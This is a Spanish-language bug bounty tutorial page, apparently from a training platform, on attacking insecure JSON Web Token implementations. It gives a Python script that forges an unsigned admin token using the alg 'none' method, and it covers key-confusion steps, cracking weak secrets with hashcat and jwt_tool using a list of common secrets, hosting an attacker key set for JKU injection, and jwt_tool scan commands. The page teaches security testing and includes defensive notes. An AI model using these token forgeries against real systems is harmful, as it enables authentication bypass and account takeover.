La comunidad
Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.
Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.
Explora las técnicas más comunes para atacar implementaciones inseguras de JSON Web Tokens: desde el algoritmo none hasta inyección de JKU/JWK.
BBLabs
Security Researcher
Deja de leer sobre bugs y empieza a cazarlos
Sin tarjeta · Academy gratis · cancela cuando quieras
JSON Web Token (JWT) es un estándar abierto (RFC 7519) para transmitir información de forma segura entre partes como un objeto JSON firmado. Se utiliza ampliamente para autenticación y autorización en aplicaciones web modernas.
Un JWT consta de tres partes separadas por puntos:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4iLCJyb2xlIjoiYWRtaW4ifQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
{
"alg": "HS256",
"typ": "JWT"
}
Define el algoritmo de firma utilizado (HS256, RS256, ES256, etc.).
{
"sub": "1234567890",
"name": "John",
"role": "user",
"iat": 1516239022,
"exp": 1516242622
}
Contiene los claims — los datos que quieres transmitir (identidad del usuario, roles, permisos, expiración).
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
Garantiza la integridad del token. Si alguien modifica el header o el payload, la firma no coincidirá.
Algunos servidores aceptan tokens sin firma si el campo alg del header se establece como "none":
// Header original
{"alg": "HS256", "typ": "JWT"}
// Header modificado
{"alg": "none", "typ": "JWT"}
"none""role": "user" a "role": "admin")import base64
import json
# Header con alg: none
header = base64.urlsafe_b64encode(
json.dumps({"alg": "none", "typ": "JWT"}).encode()
).decode().rstrip("=")
# Payload modificado
payload = base64.urlsafe_b64encode(
json.dumps({"sub": "1234", "role": "admin"}).encode()
).decode().rstrip("=")
# Token sin firma
token = f"{header}.{payload}."
print(token)
Prueba diferentes formas del algoritmo: "none", "None", "NONE", "nOnE".
Este ataque explota la diferencia entre algoritmos simétricos (HS256) y asimétricos (RS256):
Si el servidor usa RS256 y puedes obtener la clave pública (que muchas veces es accesible), puedes:
# Obtener la clave pública del servidor
curl -s https://target.com/.well-known/jwks.json | jq
# O desde el certificado SSL
openssl s_client -connect target.com:443 | openssl x509 -pubkey -noout
Si el servidor usa HS256 con un secreto débil, puedes crackearlo por fuerza bruta:
# Usando hashcat
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt
# Usando jwt_tool
python3 jwt_tool.py <JWT> -C -d /path/to/wordlist.txt
secret
password
123456
your-256-bit-secret
change_this_secret
default
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
El header del JWT puede contener un campo jku que apunta a una URL donde se aloja la clave pública para verificar la firma:
{
"alg": "RS256",
"typ": "JWT",
"jku": "https://target.com/.well-known/jwks.json"
}
jku para apuntar a tu servidor# Generar par de claves
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
# Crear un JWKS con tu clave pública y alojarlo
python3 -m http.server 8080 # Servir el archivo jwks.json
Similar al ataque JKU, pero en este caso el header incluye directamente la clave pública dentro del token:
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "tu_clave_publica_aqui...",
"e": "AQAB"
}
}
# Buscar tokens en headers de Authorization
Authorization: Bearer eyJhbGci...
# Buscar tokens en cookies
Cookie: session=eyJhbGci...
# Buscar tokens en parámetros de URL
?token=eyJhbGci...
# Usar jwt.io para decodificar visualmente
# O con la línea de comandos:
echo "eyJhbGci..." | cut -d. -f2 | base64 -d 2>/dev/null | jq
# Instalación
git clone https://github.com/ticarpi/jwt_tool
pip3 install -r requirements.txt
# Modo de escaneo completo
python3 jwt_tool.py <JWT> -M at # All Tests
python3 jwt_tool.py <JWT> -M pb # Playbook mode
Cuando pruebes, ten en cuenta que los servidores bien configurados:
nonejku sin validar una whitelistexp, iss, aud y otros claimsLos ataques a JWT son una de las categorías más técnicamente interesantes en bug bounty. Aunque las implementaciones modernas suelen estar bien protegidas, todavía es sorprendentemente común encontrar servidores que aceptan el algoritmo none, usan secretos débiles o no validan correctamente el campo jku. Cada vez que veas un JWT en una aplicación, tómate el tiempo de probar estos vectores de ataque.
hunters entrenando
labs de hackeos reales
completaciones
pagados por estos bugs
Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras
Aprende a identificar y explotar vulnerabilidades IDOR (Insecure Direct Object Reference) en aplicaciones web. Desde los conceptos básicos hasta la escritura de reportes efectivos.
Aprende a escalar vulnerabilidades SSRF desde una severidad baja hasta un impacto crítico. Técnicas de explotación, bypass de filtros y cadenas de ataque en entornos cloud.
Guía de Google Dorks para bug bounty: qué son, los operadores (site:, inurl:, intitle:, filetype:, ext:, intext:), ejemplos listos para exposición de info, paneles, archivos sensibles y subdominios, uso ético dentro del scope y cómo encajan en tu recon.